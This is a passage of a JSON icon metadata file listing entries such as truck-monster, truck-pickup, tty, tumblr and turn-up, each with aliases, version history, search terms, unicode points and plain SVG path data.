        "path": "M0 48C0 21.5 21.5 0 48 0H368c26.5 0 48 21.5 48 48V96h50.7c17 0 33.3 6.7 45.3 18.7L589.3 192c12 12 18.7 28.3 18.7 45.3V256v32 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H576c0 53-43 96-96 96s-96-43-96-96H256c0 53-43 96-96 96s-96-43-96-96H48c-26.5 0-48-21.5-48-48V48zM416 256H544V237.3L466.7 160H416v96zM160 464a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm368-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM176 80v48l-48 0c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V192h48c8.8 0 16-7.2 16-16V144c0-8.8-7.2-16-16-16H240V80c0-8.8-7.2-16-16-16H192c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "truck-monster": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f63b"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["offroad", "vehicle", "wheel"]
    },
    "styles": ["solid"],
    "unicode": "f63b",
    "label": "Truck Monster",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 64v64H416L368 64H288zM419.2 25.6L496 128h80c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64H288c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H224V48c0-26.5 21.5-48 48-48h96c20.1 0 39.1 9.5 51.2 25.6zM152 256h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.7 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.3 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.3 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.8 3.7-14.1 6.8-21.7 9C190.1 503.1 180.1 512 168 512H152c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2L63.8 468.9c-8.6-8.6-9.3-21.9-2.3-31.3c-3.7-6.9-6.8-14.1-9-21.8C40.9 414.1 32 404.1 32 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.3-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9c1.7-11.6 11.7-20.6 23.8-20.6zm8 176a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM448.2 276.6c1.7-11.6 11.7-20.6 23.8-20.6h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.8 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.2 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.2 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.9 3.7-14.1 6.8-21.8 9C510.1 503.1 500.1 512 488 512H472c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2l-11.3-11.3c-8.6-8.6-9.3-21.9-2.2-31.3c-3.7-6.9-6.8-14.1-9-21.8C360.9 414.1 352 404.1 352 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.2-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9zM528 384a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 64v64H416L368 64H288zM419.2 25.6L496 128h80c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64H288c-29.2-38.9-75.7-64-128-64s-98.8 25.1-128 64c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H224V48c0-26.5 21.5-48 48-48h96c20.1 0 39.1 9.5 51.2 25.6zM152 256h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.7 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.3 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.3 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.8 3.7-14.1 6.8-21.7 9C190.1 503.1 180.1 512 168 512H152c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2L63.8 468.9c-8.6-8.6-9.3-21.9-2.3-31.3c-3.7-6.9-6.8-14.1-9-21.8C40.9 414.1 32 404.1 32 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.3-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9c1.7-11.6 11.7-20.6 23.8-20.6zm8 176a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM448.2 276.6c1.7-11.6 11.7-20.6 23.8-20.6h16c12.1 0 22.1 8.9 23.8 20.6c7.6 2.2 14.9 5.3 21.8 9c9.4-7 22.8-6.3 31.3 2.3l11.3 11.3c8.6 8.6 9.3 21.9 2.2 31.3c3.7 6.8 6.8 14.1 9 21.7c11.6 1.7 20.6 11.7 20.6 23.8v16c0 12.1-8.9 22.1-20.6 23.8c-2.2 7.6-5.3 14.9-9 21.7c7 9.4 6.3 22.8-2.2 31.3l-11.3 11.3c-8.6 8.6-21.9 9.3-31.3 2.2c-6.9 3.7-14.1 6.8-21.8 9C510.1 503.1 500.1 512 488 512H472c-12.1 0-22.1-8.9-23.8-20.6c-7.6-2.2-14.9-5.3-21.7-9c-9.4 7.1-22.8 6.3-31.3-2.2l-11.3-11.3c-8.6-8.6-9.3-21.9-2.2-31.3c-3.7-6.9-6.8-14.1-9-21.8C360.9 414.1 352 404.1 352 392V376c0-12.1 8.9-22.1 20.6-23.8c2.2-7.6 5.3-14.9 9-21.8c-7-9.4-6.3-22.8 2.2-31.3l11.3-11.3c8.6-8.6 21.9-9.3 31.3-2.3c6.8-3.7 14.1-6.8 21.7-9zM528 384a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-moving": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4df"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cargo", "inventory", "rental", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f4df",
    "label": "Truck Moving",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V304v80 16c0 44.2 35.8 80 80 80c26.2 0 49.4-12.6 64-32c14.6 19.4 37.8 32 64 32c44.2 0 80-35.8 80-80c0-5.5-.6-10.8-1.6-16H416h33.6c-1 5.2-1.6 10.5-1.6 16c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H608c17.7 0 32-14.3 32-32V288 272 261.7c0-9.2-3.2-18.2-9-25.3l-58.8-71.8c-10.6-13-26.5-20.5-43.3-20.5H480V96c0-35.3-28.7-64-64-64H64zM585 256H480V192h48.8c2.4 0 4.7 1.1 6.2 2.9L585 256zM528 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM176 400a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM80 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V304v80 16c0 44.2 35.8 80 80 80c26.2 0 49.4-12.6 64-32c14.6 19.4 37.8 32 64 32c44.2 0 80-35.8 80-80c0-5.5-.6-10.8-1.6-16H416h33.6c-1 5.2-1.6 10.5-1.6 16c0 44.2 35.8 80 80 80s80-35.8 80-80c0-5.5-.6-10.8-1.6-16H608c17.7 0 32-14.3 32-32V288 272 261.7c0-9.2-3.2-18.2-9-25.3l-58.8-71.8c-10.6-13-26.5-20.5-43.3-20.5H480V96c0-35.3-28.7-64-64-64H64zM585 256H480V192h48.8c2.4 0 4.7 1.1 6.2 2.9L585 256zM528 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM176 400a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM80 368a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "truck-pickup": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6fb"],
        "secondary": ["10f63c"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cargo",
        "pick-up",
        "pickup",
        "pickup truck",
        "truck",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f63c",
    "label": "Truck Pickup",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M368.6 96l76.8 96H288V96h80.6zM224 80V192H64c-17.7 0-32 14.3-32 32v64c-17.7 0-32 14.3-32 32s14.3 32 32 32H65.1c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16h66.3c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32V224c0-17.7-14.3-32-32-32H527.4L418.6 56c-12.1-15.2-30.5-24-50-24H272c-26.5 0-48 21.5-48 48zm0 288a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm288 0a48 48 0 1 1 -96 0 48 48 0 1 1 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M368.6 96l76.8 96H288V96h80.6zM224 80V192H64c-17.7 0-32 14.3-32 32v64c-17.7 0-32 14.3-32 32s14.3 32 32 32H65.1c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16h66.3c-.7 5.2-1.1 10.6-1.1 16c0 61.9 50.1 112 112 112s112-50.1 112-112c0-5.4-.4-10.8-1.1-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32V224c0-17.7-14.3-32-32-32H527.4L418.6 56c-12.1-15.2-30.5-24-50-24H272c-26.5 0-48 21.5-48 48zm0 288a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm288 0a48 48 0 1 1 -96 0 48 48 0 1 1 96 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-plane": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["airplane", "plane", "transportation", "truck", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "e58f",
    "label": "Truck Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M200 0c-30.6 0-56 54.7-56 86.1V192.5L7.8 274.3C2.9 277.2 0 282.4 0 288v64c0 5.1 2.4 9.8 6.4 12.8s9.3 3.9 14.1 2.5l123.4-37v81.2l-50 40c-3.8 3-6 7.6-6 12.5v32c0 5.1 2.5 10 6.6 13s9.5 3.8 14.4 2.2L200 480.9 290.4 511c-1.6-4.7-2.4-9.8-2.4-15V463.4c-18.2-10.5-30.7-29.7-31.9-51.8l-.1-.1V408 325.5 184l0-1.1 0 0V86.1C256 54.7 231.5 0 200 0zm88 176V400c0 20.9 13.4 38.7 32 45.3V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V448H544v40c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V445.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48zm79.8 78.7c3.3-8.7 11.2-14.7 20.5-14.7H539.7c9.2 0 17.2 6 20.5 14.7L576 304H352l15.8-49.3zM568 352a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM336 376a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M200 0c-30.6 0-56 54.7-56 86.1V192.5L7.8 274.3C2.9 277.2 0 282.4 0 288v64c0 5.1 2.4 9.8 6.4 12.8s9.3 3.9 14.1 2.5l123.4-37v81.2l-50 40c-3.8 3-6 7.6-6 12.5v32c0 5.1 2.5 10 6.6 13s9.5 3.8 14.4 2.2L200 480.9 290.4 511c-1.6-4.7-2.4-9.8-2.4-15V463.4c-18.2-10.5-30.7-29.7-31.9-51.8l-.1-.1V408 325.5 184l0-1.1 0 0V86.1C256 54.7 231.5 0 200 0zm88 176V400c0 20.9 13.4 38.7 32 45.3V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V448H544v40c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V445.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H336c-26.5 0-48 21.5-48 48zm79.8 78.7c3.3-8.7 11.2-14.7 20.5-14.7H539.7c9.2 0 17.2 6 20.5 14.7L576 304H352l15.8-49.3zM568 352a24 24 0 1 1 0 48 24 24 0 1 1 0-48zM336 376a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "truck-ramp-box": {
    "aliases": {
      "names": ["truck-loading"],
      "unicodes": {
        "secondary": ["10f4de"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "box",
        "cargo",
        "delivery",
        "inventory",
        "moving",
        "rental",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4de",
    "label": "Truck Ramp Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 0V400c0 61.9-50.1 112-112 112c-61 0-110.5-48.7-112-109.3L48.4 502.9c-17.1 4.6-34.6-5.4-39.3-22.5s5.4-34.6 22.5-39.3L352 353.8V64c0-35.3 28.7-64 64-64H640zM576 400a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM23.1 207.7c-4.6-17.1 5.6-34.6 22.6-39.2l46.4-12.4 20.7 77.3c2.3 8.5 11.1 13.6 19.6 11.3l30.9-8.3c8.5-2.3 13.6-11.1 11.3-19.6l-20.7-77.3 46.4-12.4c17.1-4.6 34.6 5.6 39.2 22.6l41.4 154.5c4.6 17.1-5.6 34.6-22.6 39.2L103.7 384.9c-17.1 4.6-34.6-5.6-39.2-22.6L23.1 207.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 0V400c0 61.9-50.1 112-112 112c-61 0-110.5-48.7-112-109.3L48.4 502.9c-17.1 4.6-34.6-5.4-39.3-22.5s5.4-34.6 22.5-39.3L352 353.8V64c0-35.3 28.7-64 64-64H640zM576 400a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM23.1 207.7c-4.6-17.1 5.6-34.6 22.6-39.2l46.4-12.4 20.7 77.3c2.3 8.5 11.1 13.6 19.6 11.3l30.9-8.3c8.5-2.3 13.6-11.1 11.3-19.6l-20.7-77.3 46.4-12.4c17.1-4.6 34.6 5.6 39.2 22.6l41.4 154.5c4.6 17.1-5.6 34.6-22.6 39.2L103.7 384.9c-17.1 4.6-34.6-5.6-39.2-22.6L23.1 207.7z"
      }
    },
    "free": ["solid"]
  },
  "tty": {
    "aliases": {
      "names": ["teletype"],
      "unicodes": {
        "secondary": ["10f1e4"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["communication", "deaf", "telephone", "teletypewriter", "text"]
    },
    "styles": ["solid"],
    "unicode": "f1e4",
    "label": "Tty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M38.3 241.3L15.1 200.6c-9.2-16.2-8.4-36.5 4.5-50C61.4 106.8 144.7 48 256 48s194.6 58.8 236.4 102.6c12.9 13.5 13.7 33.8 4.5 50l-23.1 40.7c-7.5 13.2-23.3 19.3-37.8 14.6l-81.1-26.6c-13.1-4.3-22-16.6-22-30.4V144c-49.6-18.1-104-18.1-153.6 0v54.8c0 13.8-8.9 26.1-22 30.4L76.1 255.8c-14.5 4.7-30.3-1.4-37.8-14.6zM32 336c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V336zm0 96c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V432zM144 320h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V336zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V336zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V432c0-8.8 7.2-16 16-16zM128 432c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V432z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M38.3 241.3L15.1 200.6c-9.2-16.2-8.4-36.5 4.5-50C61.4 106.8 144.7 48 256 48s194.6 58.8 236.4 102.6c12.9 13.5 13.7 33.8 4.5 50l-23.1 40.7c-7.5 13.2-23.3 19.3-37.8 14.6l-81.1-26.6c-13.1-4.3-22-16.6-22-30.4V144c-49.6-18.1-104-18.1-153.6 0v54.8c0 13.8-8.9 26.1-22 30.4L76.1 255.8c-14.5 4.7-30.3-1.4-37.8-14.6zM32 336c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V336zm0 96c0-8.8 7.2-16 16-16H80c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H48c-8.8 0-16-7.2-16-16V432zM144 320h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V336zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V336zm16 80h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H432c-8.8 0-16-7.2-16-16V432c0-8.8 7.2-16 16-16zM128 432c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16V432z"
      }
    },
    "free": ["solid"]
  },
  "tumblr": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f173",
    "label": "Tumblr",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z"
      }
    },
    "free": ["brands"]
  },
  "turkish-lira-sign": {
    "aliases": {
      "names": ["try", "turkish-lira"]
    },
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Turkish Lira Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e2bb",
    "label": "Turkish Lira Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 32c17.7 0 32 14.3 32 32V99.3L247.2 65.2c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 165.9v29.4l119.2-34.1c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 261.9V416h63.8c68.2 0 124.4-53.5 127.8-121.6l.4-8c.9-17.7 15.9-31.2 33.6-30.4s31.2 15.9 30.4 33.6l-.4 8C378.5 399.8 294.1 480 191.8 480H96c-17.7 0-32-14.3-32-32V280.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 213.6V184.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 117.6V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 32c17.7 0 32 14.3 32 32V99.3L247.2 65.2c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 165.9v29.4l119.2-34.1c17-4.9 34.7 5 39.6 22s-5 34.7-22 39.6L128 261.9V416h63.8c68.2 0 124.4-53.5 127.8-121.6l.4-8c.9-17.7 15.9-31.2 33.6-30.4s31.2 15.9 30.4 33.6l-.4 8C378.5 399.8 294.1 480 191.8 480H96c-17.7 0-32-14.3-32-32V280.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 213.6V184.1l-23.2 6.6c-17 4.9-34.7-5-39.6-22s5-34.7 22-39.6L64 117.6V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "turn-down": {
    "aliases": {
      "names": ["level-down-alt"],
      "unicodes": {
        "composite": ["2935"],
        "secondary": ["10f3be"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "down", "level-down", "right arrow curving down"]
    },
    "styles": ["solid"],
    "unicode": "f3be",
    "label": "Turn Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M350 334.5c3.8 8.8 2 19-4.6 26l-136 144c-4.5 4.8-10.8 7.5-17.4 7.5s-12.9-2.7-17.4-7.5l-136-144c-6.6-7-8.4-17.2-4.6-26s12.5-14.5 22-14.5h88l0-192c0-17.7-14.3-32-32-32H32C14.3 96 0 81.7 0 64V32C0 14.3 14.3 0 32 0l80 0c70.7 0 128 57.3 128 128l0 192h88c9.6 0 18.2 5.7 22 14.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M350 334.5c3.8 8.8 2 19-4.6 26l-136 144c-4.5 4.8-10.8 7.5-17.4 7.5s-12.9-2.7-17.4-7.5l-136-144c-6.6-7-8.4-17.2-4.6-26s12.5-14.5 22-14.5h88l0-192c0-17.7-14.3-32-32-32H32C14.3 96 0 81.7 0 64V32C0 14.3 14.3 0 32 0l80 0c70.7 0 128 57.3 128 128l0 192h88c9.6 0 18.2 5.7 22 14.5z"
      }
    },
    "free": ["solid"]
  },
  "turn-up": {
    "aliases": {
      "names": ["level-up-alt"],
      "unicodes": {
        "composite": ["2934"],
        "secondary": ["10f3bf"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "level-up", "right arrow curving up"]
    },
    "styles": ["solid"],
    "unicode": "f3bf",
    "label": "Turn Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M350 177.5c3.8-8.8 2-19-4.6-26l-136-144C204.9 2.7 198.6 0 192 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26s12.5 14.5 22 14.5h88l0 192c0 17.7-14.3 32-32 32H32c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32l80 0c70.7 0 128-57.3 128-128l0-192h88c9.6 0 18.2-5.7 22-14.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M350 177.5c3.8-8.8 2-19-4.6-26l-136-144C204.9 2.7 198.6 0 192 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26s12.5 14.5 22 14.5h88l0 192c0 17.7-14.3 32-32 32H32c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32l80 0c70.7 0 128-57.3 128-128l0-192h88c9.6 0 18.2-5.7 22-14.5z"
      }
    },
    "free": ["solid"]
  },
  "tv": {
    "aliases": {
      "names": ["television", "tv-alt"],
      "unicodes": {
        "composite": ["f8e5"],
        "primary": ["f8e5"],
        "secondary": ["10f26c", "10f8e5"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["computer", "display", "monitor", "television"]
    },
    "styles": ["solid"],
    "unicode": "f26c",
    "label": "Tv",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64V352H576V64H64zM0 64C0 28.7 28.7 0 64 0H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM128 448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
